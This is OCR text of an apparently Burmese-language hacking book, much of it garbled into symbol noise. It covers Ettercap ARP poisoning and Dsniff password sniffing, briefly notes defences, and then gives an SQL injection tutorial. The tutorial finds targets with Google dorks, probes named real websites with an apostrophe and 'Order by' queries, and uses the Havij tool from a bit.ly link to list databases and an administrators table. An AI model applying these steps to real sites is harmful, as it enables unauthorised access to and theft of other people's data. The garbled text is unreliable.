| ettercap 0.8.2

|Start Targets View Filters Logging Plugins Info

. (o] C C Cc OoC cOocC Q .
Plugms [=]oploplavieV} @ 0C:&C manage coosCOCL View O’)G§@8
oL o L Lot L
. (o] C C
Connection 6080? G®’3C@ C

Enter Targets x

Target 1

MAC: ‘ |

IP address:
1Pv6 address:

Port:

Target 2

MAC:
IP address:;
IPv6 address:

Port:

Cancel OK

Targets >>  Select Target(s) ooe§coé: Target eop

3o

&

< C c Q f] c .
SEPIYP VMY oIV Ettercap ©> operation mode Clevy

C cocC c . .
C\goeeooc%co']oaoou IP-based oeo>p source $ destination IP GOT%D



sae@é@: packet eogor% filter (06%) 6loooSi MAC-based packet eogor%eo»?

° C ocC Q C C Q
MAC address edl sae@a@: filter coo&CDQS gateway 0o06QQPM ele§o\3
. o . C - " L° C - C ! ’
connection e sniffing coepPed sao?:occ?o']mwu ARP-based oneonp
C C ° . .
host §®?@0:90 We§ea0d s'ao?:ep:o\) switched LAN o>  sniff

Qé%éggsaogog ARP poisoning or% 830%:@{0’]03&3 (full-duplex)u Public

o}

. g o 9
ARP-based oec02p victim host o>0ame 83@0: host o22:00:a0 09230

o}

packet eogor% sniff 036%88&8’3030) ARP poisoning or% 830%:@{0’]03&3
(half-duplex)n

Dsniff coeoxp Kali Linux ¢ 6lo€G:az(g60) Password sniffing §
network traffic analysis tool eog Sloéedlé:obes0y tool o»o%:e @o%o’]mugu
FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP,
LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS,
X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix
ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net,
Sybase and Microsoft SQL protocols eogor% handle c?&%éo:) sniffer
mo%:e@o%a% sao%:ep:o’]m(ﬁu

Sniffing :Dé email (or) web session eog%oao oao%agLéo)’Jeoyg

. o . . .
© o’]:ra:u Cain and Able Sw) sniffer Seplte VoIP communication

C
00>
o (o C ocC C o . o o 0
CODMNEOIDCH @9:@0} qw&co’]mwu VoIP sooooan Voice over IP o) aom@:
O L d ILL L L L L
’T‘ o C C N\ . ]
network co me$ e@oa?aoooogw@onecg (conversations) Cleplen] capture

cocC log N c N\ c
c?o‘%co']mwu Caller 8 responder (cﬁ.earroi 8 @@e@oi) @0.
6[0pa830052205660203 mono (or) stereo WAV file 30659 ogézaoé:g&ﬂ

o JL O L ° L

-

C
[eplob]]]

Sniffing, ARP poisoning, MiTM $ DNS attack eogooo ogeepor%

/ FC

O N C C cOo_o c
o> attack ey @0@@:@0}9 w@me: detect CYOQz002D MOMROECO0Y

C c '] c oOC N C
protocol 6D LARWIMAOIMI XPMVdC2:&§Co) protocol eo;sa@o
[e] o ° o O"(-_‘ 4 IL [e] L ° N [e]
Telnet so0o: SSH o o?:§c@:em? HTTP s202: HTTPs oo protected
Qo C N _° '] c . ’T‘ o co ¢ . COC N
protocol 6o e@oczmo?:qo ol internet col 030505 public WO&CA)
Qo C ’] N o] N .
system e allow ococoxqolo:  network @e>  Qeoy  device
o L L IL 4 4 °
ocC C (o] ° c C c . .
ocismm VPN o saoa:@[momwooozoaco']mwu Application copocss
L o L L [e] ° [e] °
Qo o O ° c C c cocC c o _C
Xarp 0y ARPwatch 0305 sao?:@[moogwooosoag(ﬂmwu @om%cewa?qcem?
c c o c _C C o °
orgﬁeonmél ocs:gce> IDS or IPS hardware cogod saoa:@[@:
el L o 1 o L L
c C '] < o] C crc C c
onxkcolowi IPSec e ooo:aagoeaooc@c:sao:@gm@: hacker
. C Q o] C Q ° Q C
cop  sniffing O  QQAEEW  63006M saoa:@[meqesaoc
[e] L L3 i1 0 ° o L L L4

C ocC ’] C
oooogwooo:&Lco [epleb]]]



C
G§’DO’)

-—CO

oooo switch SlealCpl=tenls) secunty feature =lep) e\p.@o

C c
oloaonolonedi port security oo port ooo:eLwaJc.o)saogm MAC address eogo?

m%wo%ooo:%éf:g qzéof]qgéeof)u attack Clep) @lmoof)saeﬂq)coé: o% port or%
shutdown [go68Een [g6clondSi
XARP oaé Free and Commercial 38@: &o%éjlz oocr%eo}o']ooof)u
L ] [e] 4

www.xarp.net Q q g OK]O’)OJII

ILL

File XArp Professional  Help

* Status: ARP attacks detected Security level setto: basic

® View detected attacks The basic security level operates &
" default attack detecton strategy
that can detect al standard attacks.
This is the suggested level for default
emvronments.

Get XArp Professional now!
ter XArp Professional

[ [ [

I3 [ mac [ Host [ Vendor [ Interface ] Online_| Cache | First seen
o/ 19216858 40-13-08-02-9d-al 19216858 unknown Oub- Intel(R)P... unkne.. yes  7/23/2014 06:( o J
v/ 192168511 b0-34-95-ef-d2-3¢ MACBOOKPR... unknown Ocb-Inel(R)P... unkno.. yes  7/23/2014 069
Aert 10f 17
3 192168516 00-0c-29-2b-¢3-87 WIN-OUZBRQK... Vmwarelnc  Oub-Intel{f] P.. unkno.. no 2/23/2014 06:0( ¥ >
I 192168518 Tc-e8-d3-1b-4c-a5 192168518 unknown Oxb - Intel(R) P.. unkno.. yes 7/23/2014 06:0%) 7f23/2014 06:01:34
3 1921685222 B-d7-19-ec-33-49 1921685222 unknown Oxb - Intel(R) P unkno.. yes  7/23/2014 06:)

MacFiter: incoming packet but sender mac set to
our own mac address

Interface : Oxb
latheznec]

source mac: 00-0c-23-2b-e5-87
dest mac : c8-d7-13-ec-33-4%

i b

XArp22.2 - 5 mappings - 1 interface - 17 alerts

sae?eo'] attack é)m: @l;}of]oo emé@ééqo} 03$({||looo<jn 2900

Q ... c SSloneS o N . Q (3

WOI60 M6 €0 qeo@o)o ealon]] s'aoa,@[oo switch router ecacoRd:
o Oe° L1 L ° o L

~Co

C (o C o] Q C C "] C (o c O N
GO’)’DC:Q?@’D conﬁgure QOO0 C\)S’BOQ’D@@O [eplov]]] ogﬁeooooosae§§
oTo L Lo L 1 o

. N C C ° C ° o _O C
Snlfﬁng i 00O20M(Q2 S’B’JSC\E: %@@%?G&)a@%ﬂ.&@?@’)@@’) 038300’)038?0

o}
o}

Q (o C Q Q C NN C ’]
C)D:C)D§° (.00’)(3) q%)’) ODC\E° SGC\)’JO’)GC\DSiO q0§’3°0 q@@SCOJ’JII G§’DO’)(I)O

CHAPTER o636 @%aéeoo can&oli
L4 (e

L



CHAPTER 22: SQL Injection

Introduction

c c o C C C ° C
MQ$607502603 @ewgs\p:go ecg@cegq 000009 SQL
. . C QC < C Q o N\ c c o
Injection @oo Ogowl  Browser o039 qesqy opopy OS eoew
(03$0J|[03090E§6e®| cﬁ:(f’) ogeo)) moeaooé%éone@ocm@ :D.epnsaaoc
e@o:a Attack o»o%c%g@o%o} SQL injection :Dé sao?.@ﬁ g0y Common

(o] < C c

attack 3293202800030 8 @@o’]mwu

o}

o]

(o C o2 o] C Q N sy
@8&)8 C\)@[GGT’ 9\”"8@’3(’7)99’393«? S’BQODS’BG§§) sensitive
information GO)§ access GO)('D O)GT.) QOC§ C:C\)(S: 61()[.2(3(73 §80)é@€(\°)
C

’] C Q
ao I 3839@.9’3@03? SQL injection § omoaoo@. Eellep o  pHep)
C .. . . [e] .
eag:eg:ogo:o’]ewu Sensitive information eogm :Doeoga\)a?eoy; Social
. . C C ocC
security number cog  Credit card oM ece@:aocep
C C N © OC > C '
YN ROME) § user ID & password ey ooxmey @o@o’]mwu SQL
.. . C cmc Qo _¢C L
injection 0209 esaoc@cogo:@a?qcem? Attacker sac$g victim ¢, Database
[0} N o O o C C C N[ C C
9 Q650y Data 6o0p 20OOGH 32N HROMER e@oczm@caocon
d d ° O L L L o
C c 9 Q C 9 o] C C
(alter & change)l S2WOERWHORNGEI  QYOITIONERPQE  CWOGZ0IC
ocC C . . C 12 Q Qo _C
‘%co']mwu Web application ©2¢> SQL Vulnerablhty ae§[§a?qceo>?
sloonS SQL injection § 03058053 388 s'aacsame" opse @Q% Begeaali
2 J R ROR L :e% 2 X8

Q C C C
SQL server 20mow0¢ 3¢

Cls

. Qo
|c02:03 unauthorized access 0>

o]

ocC (o ocC [e] C
6100& ®§ database information o) GT.)GG) @§OOC\)’D§CG®G>S’BO)(’D attacker
[ 6L 1 o L L [ ¢}

eogoa@ SQL command eogo? submit BLC\E(S@O(]O)OSII SQL vulnerability
:Dé Web Developer ¢, sao:§é:q|0%e@08 @6@(?@8:@6@: SQL server ¢,

o}

C C C ’] N N o Q CN C
8’3’38§889J('D QOEO)O I Web Developer GL S’B(JQO)O)(? S’B(JQ’DSQJFI CDC\)J('D% oeC
C\)(SOO’D:O\) S’BQ’DS(SJFI @08](380%898@’38 @6GOTO\) S’BQ’DS(SJF ®O)’DGO)('DG§
L s 1 I ° s 1 [¢]

SQL vulnerability @6%%%3@8"
SQL €1 sa@é:m?oo Structured Query Language @6@: database §
005200565006g05  (communicate) ©2 8305°@0me3|| SQL 2005
e} 8 P i\ 2
relational database management system 830306 standard language 036:5
mm@ aggéo oS SQL  Injection Obé Code injection technique
(o] ° [oXege] C (o c O N Q C
moq.@om’ae@og D07 sao?:@ﬁcc&swgm QYOI TE§§, DLOIO%:
bslles) §e§(ﬂom§u

.. . o Co c ° Q
SQL injection cooez00¢@s2030> Hacker ey o?:eq)ao} Character



Q C C c O C C . . N s e
EIep ao’]mwu FHPARCAM ecoo@qqcem? single line g multi-line comments
eog% OR C\%éjl: string  indicator eoyl concatenation character eo)l
wildcard/asterisk parameter eyl URL parameter eyl local & global variable
conl time delay 60) 0076003 8’3&58@[@0(]0)08"
[e] [e] o L L
SQL Injection ¢> 1. First Order Attack, 2. Second Order Attack $ 3.
Lateral Injection Attack 38@: 38m  Attack type oS:e(j[: echﬂm(ﬁu
L L (e
C C N C (o C ON (o]
Programmer 0206000059655, e@oqqceoyg Q$S022028), program SR
C C c ¢ C Q N C C C
0OCA06IICOPMIVERMMPs & Character em§oo>:>aoo[§: @[mc
C CL C o] Q OC C © °C . .
@caoce@ac:ooo:c& c?s'aoo']mwu Attacker (Sleplevieb) authentication
mechanism em\oogoaor%@" comEesD  $05:0 Cooo"@o’]m(ﬁu zﬂe@oé
oi ° °o§o RO ° g
user authentication o3 eoyb[god (Bypass) §E390305 0§undSjozu5o0)
L J yp L [T o 61 °
C N\ (o] C o e . . le) °
iﬁpcqoi@c, $pO:0p00 (sophisticated evasion techniques) e saog.@[@eq)
ao']o:wu
C C . Q C ° C
. 8]@0 Attacker ecyoopd he); c?dlng ©pQVJebE sao?,@[@(ﬂeoa.mw!
. AN 0
o3,e00  Website eoed @gqc URL eqwed %20 6o
eog@éqo’]n%éeusu sloon hex coding olon %20 :Dé Space or% agLQ%o']mQSu
Alphanumeric character Q%G@TO:D moao:%o%& sepe$0y character saqp:
:Dé hex coding or% saol?:@lcﬂmugu sleoowy Intrusion detection system
Besl'od oypeopole 06@5"08 M50y 0sde0Rd hex coding o3
I s WS P g (o] : ? 32 g 7
QrcocCc ¢C Q C 9 (8 Cc O °
39@0‘?0‘89" ea@o’ba,uozﬂe@og esao.§8.q|mc;3 saco?.aJ[i. attacke: cm
N : .
g0 hex coding ey sao?@l@ Attack 60 c?oeaooc@(ﬂmwu
wes  oadges(yoy signature-based SQL injection detection
engine 6opeoe0oy malicious SQL code eogodon white space encoding sopg
o%c"omc"e@oé‘n\)@é"o%cg attack Sjzec03 36 gé@o’]m(ﬁu 23620500058
P ?° ° RO WSR2 qA°%2 I 2
P05 m§eops white space 60203607 e@ E:c0s8C s eo[@eoyo']:n"u
RXR 7 2% p 6L s QeicoigCges of TR
9']@8 space ©0lod sa@o"eoao 022022600300 05:3 eogogé[@eoy(ﬂm"u
° p : ° B A% R
Attacker 60005 C)@Cs’n"@éemo uery copodones white space 6003
B 99% g 2 query [¢] ? P 6L
cougooogoog[@emo@(ﬂmugu
? 29
cocC Q C

o C o
SQL statement eo»él execution QOOSCOMD © oc:cx\)eo@c:eq
O b L L JL L 4

3o 8

SQL keyword eog% string (number) eog@o:cfo white space e

O

006@ Coor%@&sao"@é MNOOEEDSOERD 6@00"@" @eoeo’]@o%esaoé
228 cTegs (S 0% 3% 8 eyl
C C C . . .
(obfuscate) c?oeaooc@(ﬂmwu Tab, carriage return/ linefeed, ©o) special
o ° . o C C c o _¢C
character o saoa:@[@: white space c0m) coOpYPCIeVYC execute
o L L o L e O L
C c c C NN . Qo
@o)e@eug statement  COpPds  VQDCOIN§ detection  system Cleples)
C ocC C '] C
m@oo:&ce’a@oo fopleb]
1L=e L d



SQL Injection Methodology
SQL injection o»o%:e C\B(SGSO’D(%%(%?&S’BO)O% attacker s'ae§$° C\%OS§’D
C

o
C C C (S Q Q Q
QOGEOOCHEWY pattern 60 Jo’]mwu zﬂo? Methodology o GSTC\%

o]

61(.),]0)08"

3,

° .« . . co C Q C
oooea?:sae§$° SQL injection e00>c6 Attacker 520305 9920

On

L
information eo0> ®eaoo€:ooo:qo’]eu3u SQL vulnerability em§e§q
o L L [el]
oa&cesaoém@el(ﬂe(ﬁu Vulnerability gle§oy308 03039:@386189030 Attack
L L 4 L o L °
®038Q36e3008%8[§ @ogo']mugu authentication S’B’D:§é:(){]C\)J(%GO)? network

N O C cOocC (o . C ° C cocC C ’] (S
OO('TB OCGGT.)('D&LCG®9Q;) main source 8’3@0 S’BO\B:QJOCGGT.)('DéLC(JQ’D @00 [oplob]]]

C C C N . Qo c C DI
C§OMM00¢36sy malicious code o>  copppC:  (inject)
° o [e] L o, (e}
coco C . . Qo . C C ’] c
0QCYIRM authentication rule Cleples) exploit Q0D @oo eplob]l

C

©
L

s\aoaésaaoé @:@a@qéem’; privilege user sa@og network access eogor%
9 Qo> data ecpod extract ([gp5) eo[gdclooddi sSlecgeage

]

. Q ocC C C cocC o] C e
Operating System 3 0|G: 00$:9|0V06500C&CEOQ3200> privilege access
L L L L e o
Qo O c e C C C ’] C
QM) OGe oonE.j Qes0C (escalate) WO6z0OCOIEVIOOWII

°

N Q C cocC Qo _C L
322000 C\BOGSO’DC&LC@S?QCGO)? pr1V1lege user account Gdgl 8’3@’33

1
C C cOocC C ’] C ’] C .
BCSOCO)’D Gﬂ(’DO@O)’DGOg(’D C\)O&LCCD 8(?0@00 oIl 3 (JQQOEO) TI'O_]aIl (OI')

o
o}

L [e]
. ocC C C
Malware ecyoseomce install ‘%cog):(fo@o(ﬂmwu
vy [e) .

SQL vulnerability copod ecoo\ae§epe’3eoy3 website c0l'eo
° N . . o L 4 o °\ d ° ° ° d
§e$0? input field ecpi hidden field ecg post request copod  Pigd
4 ° o O I o L o

&S00 28 NoneS G c 9 c _CoCO c

02QCI0C&C Ol @,qceoy; CITOr OO DAMEWISCE3R0d code

o}

(o] . N O [ cocC ’] C N Q C C N
e input field o2y inject C\BO&LC(JQ’DBODO OOl PV WOGIICO)
c$epeo error-based SQL injection, union-based SQL injection, blind SQL
. . . o C C C cc
injection attack oo} attack 6303 cwSeaE[yclonddi  egE[gEagxf
Qo _C Q (o]
2qCceody table names, column name § target database ¢ table data ec0>
@ 5c0058ER @"m"o&ﬂm(ﬁu Deommeiem  Bogmess  0lcie @

RRORCY O3 e (RS GOV €369

C ’] (o N C Cc _C ’]C C C C
COCOIOOII OO VOO0 C\)OGlC: cO C8®O@8€1€8’BDCII
o L o

Finding Vulnerable Websites
00es0:365s SQL vulnerability 81@@0\3 website 03 805¢
L ° d O L L

C [ (o c 9 NN °\ o . . le)
a’)@g @gq@s’ncu ('78]§GO)’3 GGﬂc(JQ’J GSQ:G%:?O?OO(?’D SQL 1nJect10n S(I?O)’D
o]

d hY C C C C C ’T‘ C Q CrN
CVCIOpCI’ GL QJLQC.?C:QJ('D 030?:59@’39 @080 [0p]6V] S(I?O)’D G@D@?@:
N

@o%o’]mugu SQL  vulnerable key words eogepigd %of]mugu o%oooo

Q ° C N . Q N o o Q
QPOO20Q)DE0: @oo; php?id= any number 003 Odscxdd 6

eo
L L 8"‘80

=2



C ’] C
G(D’J@GO:Og’J:O OOl

php?id= [}
Google o L Q

All Books Videos News Images More Settings Tools

sults (0.39

secands)

c o c ¢ .1 O [°)
90050 0ed @gqe Google search ¢> .php?id= 8003207 aoe%o@
. (o c 4 S 8&:c0ss c S C c
looptionnlen) eoo@celeoo I result 926§ V§E0IC: 0206DICIEAIEAICEMYP
L (e 4 o

8,

eooglmoo']mof)u Joelp! s\aoaé Vulnerability gp)of)eo']u
[e.¥] d d °

GO g Ie inurl:bible-history.com .php?id=

All Videos Mews Images Maps More

About 1,420 results (0.52 seconds)

C f]o (o C N . C C 9
32000100600 (78J§GO’)’JS’BG§§ Target website O’)®99JC:®(73
L3 s s o L
o

Vulnerability epeg@ooo:o’]mof)u Advanced Google Search ¢> eco%@@:

[

c O . Q Q C C C C . . .
@on@ inurl: - 03602 oa@: @oeooooco’]oooou inurl:bible-history.com
N\ C c [og [o N . C . . o
CQEROIFRMY 0Y$6000  gpeyaroy Website aopd  bible-history.com 5
(S

':80

O L »°

.php?id= (any number)

o1 ° o f] Q C oc c
20¢), Vulnerability 0doli any number 80602 6§200M 01$:0M§:
c N chc Qo C’] c N N 9 c c Qo C
P> 910 @o@om waoqeo@o)o oWl oosae@eoooooo @ (avlen)
L4 L 4 o L L L
C
qegaCl

Ancient Israel: Resources - Bible History Online
www.bible-history.com/subcat.php?id=2 «

Bible History Online. Sub Categories Ancient Israel 1. Previous List - Archaeo. & Images - Archaeology
& Sites - Archaeology Images - Art & Images - Cities

oooesfe: result or% $0§0 @éqswoéu url (9p)
www.bible-history.com/subcat.php?id=2 @ogo']mo&l .php?id=2 a‘c}eoo?



C C

Qéwq@§@gqc php?ld— any number format s»o% @ogo’]mwu Browser
oo a’)@@qc URL m s'me"eepci e@o@ooo:oy) c Oelo’]e(ﬁu s'\aoaé link
o% chck@ wémmqswocopu

C | ® www.bible-history.com/sut

Ancient Israel

Bible History Online

Sub Categories

o C ° C C .
0eoeo Web browser oo2cd: ovodeoewy URL $ website
o C C ’] C
(0p1=Tesp) @cemq@o@@o ealon]]
L ° [o ]

“— C [ www.bible-history.com/subcat.php?id=2"

° oC C o
00 s205¢: Vulnerable URL €1 c$2med> ' (apostrophe) o
L L o4 d L
c_.C.m, 365
oogogc,@, Enter coodoli
€ bible-history.com v add-to-cart,php?10= #8 U & #

i Most Visited ¥ s, Kali Linux "\ Kali Docs Wy Aircrack-ng B8 A-Z Hacking Knowledg StackSkills M Inbox (36) - admin@khi.. [T All in One Hacking Tral.. E8YouTube B3 All in One Hacking Tra

[EIMSSWENE : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' at line 1
C ’]e ocC C ’] C o C C
520000109205C: 60Rged @@o DOWI PIVIREOIMIYP0s em@eo:
L L e Ll O L
C . .
olocSi Query failed : You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right syntax to

. [o) < o ¢ o ... o)
use near " at line 1 eo@: eoaelo’]mwu :ﬂeoelceoy) 3 Vulnerability o
L (e L ° L

cO _C (o] ocC ’] C ’] (o N fT‘ N\
@mamm Q  ww&colWI :35@0 result 65 CD’D(JQJ ocol 2
(o C C ] ° O CO
s'a@[eepc s'ammoao @ceﬁlo’]cqcm@: :ﬂms'»oa:@[@" mmamm 0053
L L [
C ’] . N [o] N\ [og
005 &EClon S 0361 Website oo qe§msae@oc,s'»ep 0039
d ILL e Io d J ° LL
(o N C o _C ’] 0o ° O CO CcoCc¢C C [og (o ]
QCOOIMW WYL 3l sao?:@[@: DMIMECOW  CVBG(IFICIEORM)
C (o]
momwooo:@:@m 30§20l
o [ L d
C o o [of C ° .
200050 0be> mJ$e0 og::j;o? Vulnerable keyword o> .php?id=
(o ’] C C N o _C C ’] N (] ]
@@o W 3lodCORBWHCE0  VLIOEVITNI FIDAS keyword Cleales)
C [o] log Q ’T‘ ] ’] C
bl TebHeoHepl=leVEINR ST (=ovHe A1oN]] Google Dork Q  eal=olowi

C ON

bit.ly/7000gglist &> ogo:eepo% @éﬁ%&ﬂm(ﬁu ogﬁeoy)o: Browser ¢

bit.ly/7000gglist C\% %05@: Enter C\%ogo']u
text 330.01 KB

## 7,000 Dorks for hacking into various sites ##



3300507 Vulnerable keyword col&opionad oy§corSod em@é
81 y ° kl 67t oﬁ i & 61
[og log ] . o C ocC C
%) @o)of]mwu 3330 list coocd download QeTevH qwooo:aco’]eoa:mwu
d L O L L L
?

Q o C C c ocC
99@0.(\303’303 SQL vulnerable ecgo; @caoccowﬁp,@.ogo.qgfoem?

C Q0 C ’] (o ’] C (o C C

S’DG@S’DG§QJCZ (‘D’J@’JZ@ €1§CO ool 8 G@’DC Q9 (78J§GO)’J [Qvloa]~{ep)
(¢} AT ° L &

C N . C C Q Q _¢C C N ’] o C ocC ’] C
C\BOE}O? website 0;)8 ®D®O)QIDLOB° C\B(‘DC\EOO?S’D@ @OEO)’DQJF @®G§§LCO [op]eV)
Q C ’] C C C N (o C o
000D lO)C GB’DBOO’DZO GlG@@COJII 9 C\)OGSO’DCE]O) §88C\)@8€O§(‘D
L L L s oL
(8 C C C c O C c O (o] C ’]

§ HEWISH S’DB@CD’J (JQO)QI.E H UDQ)C\EC\EOQC?’DZO)Q)S?O)’DO?Q)’D (JQO)OO’DZGOZO 1

03|$eo>% ®§:m6@eu§ Vulnerability eopo3 Website owner Sleptep @%mé

o L
@5305@:08030:3999'] o3 Vulnerability edl’ S’DQ;):B[C\% NE2 e@o%eo;’;c@o’]c\)u
sa@’r site 0269 e@oé" ©60] ?)
° L ENER o "
N (o C e A% o0~ . N N
o 0Q$e0od 2 hp?id= o?@ §p@ooo,og vulnerable website coo0
manual 96§83 soc;%@: C\)(Seaooé@epeco:emcg eso:e&:qesaoéo’]u column
o L o L [e] o
N oc O C C C C (o c O N
Sglepkezléletles som@: 6800 §MEesCII saeoTSso Qpeonoymeess SQL
vulnerable URL €1e§ocfie’3 apostrophe o3 ooé@: ®§:5®§m vulnerable o3
o d L °, ° L
° Q c O QN Q Q ’] N Q C
PRI, OOLIVO wgq@:@% 00l URL comes column o5 s005(G:

oCcoO Q C ’] (S
a’.)éLCL'g C\BS’DOO [eplev]ll

— C | @ www.bible-history.com/subcat.php?id=2

C N Qo c Q _¢C C c N
oco vulnerable @®e§og URL o @§08'3.C\3mo']u (ooooogooo.o;

apostrophe o3 [g058s [9§ Enter c305¢ qoln)

& bible-history.com

=y

(o c O Q N Q Q0 C C
(78|§GOD’DOD 61’.)6(0(\)0) Column o 61 0320000 O©§C:
[ o L ° L ale [¢] 8

e@o%sso Order by 1-- s%@: ﬂ’)@é%&ﬂm(ﬁu 1 eqqg 2 e@oésﬁp(ﬂe(ﬁu

QC N
eelelalNg

N QN C N Q C ’] (S

FIDQVE, EITOr ODDVI) T epeo:eleo@ao OWIl 9 $69§20260 URL m
L d d L L d

www.bible-history.com/subcat.php?id=2 @ogo']omgu o@e@ocfim Order by 1--

oo6ooéo§saa’] www.bible-history.com/subcat.php?id=2 Order by 1-- agL@

C c C c
B@]o)o%o.o']ewu error eeogeoa.one@og URL o 1 esepen 2 oog@, enter
oleodi


ht:/w.il-itr.o/uctppi=

€D ww '-.bi.b[é—Hi.stqw.com-_'=_ p?id=2 Order by 2--
f5 Most Visited v " Kali Linux “§ Kali Docs Wy Aircrack-ng &8 A-

Query failed : Unknown column '2' in 'order clause'

k

8e5qpene07 QuSagudardlon 2 eepadoymes] Query failed : G

0 . : g 9o¢, Qo¢ Sl T
[2} GO’C;GO’)?O’)’JO Oll sa@o,eoao site GOg(f’J GO?Ce OE@&CQ’JQOEO’)O I 8260

,_
oy

o c (S o 0@, .2
0ed @zﬂ@gqc Unknown column "2 a?@ o] celcfoo']u sf]em,o?
c C A1 O o (¢} o N
opronqesaaci Unknown column 2' 5560 column 2 ea:pL:/ Clevlestic oles)
8388'1050']u Column 2 03 e%pa:a?eem? 2 esmodom 1 @6(.;]0’)05" 3’]3@

N Q ’] Q _Q C OC’] C (8 C Q C
column 1 6 oxeulil SO eodc&COlWI (saoooo§ DOV PEYER)
. C Q Q Q Q Q
site. @0 Order by 6-- o> error eew a?o']o%u sf]ace column 6 o§oncy

C C c O c 00 N _O Q ’] N C
:Doo(fooelcfo@ocg DWDYeOD 5 eoli error column o 0209
Q Co
eQJanngmeJo']u

OMR, o & c c _c N < c
(.3@°§9°Q)88839C e§oooooo 809’38(\%0’)0% @gqesaocu

€ W.tunesoman.comfpmduct.php?id=2001 T

[ Most Visited v N Kali Linux “ Kali Docs Wy Aircrack-ng &8 A-Z Hacking

SELECT * FROM "category’ WHERE is active='1' AND id =200\'
You have an error in your SQL syntax; check the manual that
C

s'aooogo'](‘.:)(fo URL or% @éqé .php?id=200 Q% @5610:)830300

N

Vulnerability %10’)05&% 03%5@: SQL inject @6%58& §p@éo§we§§o

apostrophe ooé@: ao@éo:)saé] Error ooorgmooooor% eogelcfoo']u 3’]383 s1op)

o]

saol?:aJQ% q@eo]u

tunesoman.com/product. php?id=200 Order by 1--

‘.fel& URL ¢, e@o&p Order by 1-- ooéogé: §PseY @éo’]mo&l

’] C Q ¢C ’] C
eIror ©60Y§Ee 20010zl 1,2,3,4,.. aooo@: S elseiealéllealév]
(e g L 4 L



&a www.tunesoman.com/product. php?id=200 Order by

[ Most Visited v e Kali Linux % Kali Docs Wy Aircrack-ng B8 A-Z Hacking Knowledg...

SELECT * FROM ‘category’ WHERE is active='1' AND id =200 Order by 13--
"nknown column '13' in 'order clause'

C C Q Q _¢C
9230C30C o?:@: aocpooo:)saé] column 13 ¢> Unknown column
’] < Q Qo Q c Qo ’] ’] o
cogqolodi column 13 6§02:506007 26D oo column 12 el slsd
o JU L ° (] 4 ° L

§’38C\)é@ OO(%(.;]O’)OSII

Havij (Windows)
mscoSo3mwess SQL injection cvbepen 8305"@08905 Tool e
3% 2 e3P jection cuOepe Qlgeece ool eqg
Q C . o OC N C Q C o C C
ao']oooou Windows ¢2 ax:&co) Tool §0307 s2qCa0: ewo@eo:o’]eoou 006
om®300 Havij oli bit.ly/havijexe (password havijpro) eplers eslE:o§cclonddi
L ILL

N

° ocC (o] (8 C
(o?.osao»c. App e 060:020)  page  @dCOPd:  OYEEPD

L
oc¢ ,] c
610]%§LCO O’)OJQCOJ’J)
Havi] ©0o 0
Target: Jrp:ttrvew bible-history comisubcat php?id=2] I il
™ Keyword: !ALrlD Detect H Sgntax:lALﬁD Detect liig .lze Fee
Database: IAuto Detect LI Method: IGET ;I Tupe: IALrto Detect _ﬂ B' i
Load Save
Post D ata: |
Havij o co&\%or%@"e 505 Target csepwd 0§c050d  Victim
y L L CP g S o]§ i

website §, Vulnerable URL or% ooéog&@: Analyze or% %6(\%0%618 Analyzing
C o C '] (o C C 'T‘ Qo _C

V06§D eoo@celo owl Analyze sc0odc0 @@eo mo@aoelceoy;
L L o4 L L

analyzing @a?@ @5 olooaSi

r — = s
L] = ) & w 2%
About Info Tables Read Files  Crivti S5el] Query Find Adrrin MOS Settings
P el
Gn* | Stop | Save
Target: hittp ey bible-history comésubcat phpid=2 ;I
Host IF: 54 201.5.54
ek Server; Apzachel2 428 (Amzzon) PHPIE.E 36
Foveered-by: PHPIE B .38
DE Server: MyEQL »=5
Currert DE: bible_history

QO OC C C C cocC ’] (S (o C
Info (TDG§ Get (73 ?O@: [=eloplavies] C\BOGSO’JC&LCO [oplob]]] (78]?80’)’3(73



Q C ° . . C c. O Q C
con S Chapter 00903:e>  bible-history.com 030900p30Y Do
° L L 1 L L
C C C '] C
moeaooc@oao:eo@oo oWl
L o 4

b @ |

Geb  Stop | Sawe

Target: Fittpotiwewwe Bible-history .comfsubcat phpid=2 1=

Host P 54201554

‘Web Server: Apachel2 4,25 (Amazon) FHFIS 538

Fowered-by: FHFIS B35

DE Server: My S0L ==5

Fesp. Timelawg): 489 ms

Current Uiser: bholocalhost

=gl Wersion: hBERL1

Currenit DE: bible_histary

Systemn Lser: bhaloczalhost

Hiost Mame: ip-172-31-42-127

Inztzllztion dir: fusr

DE Uzer: 'bho's'localhost’

Diziz Baszes: infarmation_schema
bible_glozsary b
bible_history
keywords vi

k

f] ° ocC C (o ’T‘ Qo _C .
3200000 (.L)S’BOBCS Get QC\BO)GC\DS B§GO C\)’J@a?qcem? info GOg

@ [z O ®m % & % &%
Abouk Info Tables  ReadFiles Gt Shsl] Query Find Admin MOS Settings
| = i | . e =
Shop Get BBs Gek Tables  @et Columns  Get Data Save Tables Save Data

-~ [v#] bible_history
[ information_schema
-] bible_gloszany

i [] keywords
o[ kidsdict
O OC ] ocC C
Tables ooes Get DBs o §o[§: Database e Q@&Lco']mwu

] [og C C °
2602 database Sleptes epe@:@oo’]mwu s'\aoa@oz\)oocf 0C0E0: Database

1

C N . . Q C ’] C (o Q C

@00? bible hlStOI’y o select C\BOOO’D:O [oplob]]] (('DKWO)’DGOC?OBGO)? e§ooo<f
Q

mo%:eo% e@o&ﬁpcﬂe(ﬁu)u @:qé Get Tables o5} %6@: Table 6 epleel(ﬂe(ﬁu

rCo

Get Data ‘Save-:l'ables Save Data

‘ Get DBs Get Tables GetCollumns_

[] administrators

[ bh_addform

[] bh_guestbook

[] bha_board_bans
[ bho_baard_farums
[] bha_board_pasts

200050] Geo [03p59C bible_history 30y Database o> Glo€o)




] C (o C oy CcC 9
Table 6ROy 60 @ o@@o’]mwu 0093C:0 epil‘fDB
o]

on

(o C
@o 08]%80)’3(7)80)?

030

00 O
cO)D QQO’)CD’JCD’J

3o

[23N f] C c N o]
§’3 B@ O’) 00 BCD’J:O OOl ('DJ?ODS’BO cO
L [ ° L [¢]

[¢]
C C o] C QC C C (o]
C\)('DGO@ C\BO@ oD (.L)G('D’JC:O QLI F2COMNO (.L) OB

20101 bible history

Om—

Qo . Qo o o Ooc¢C
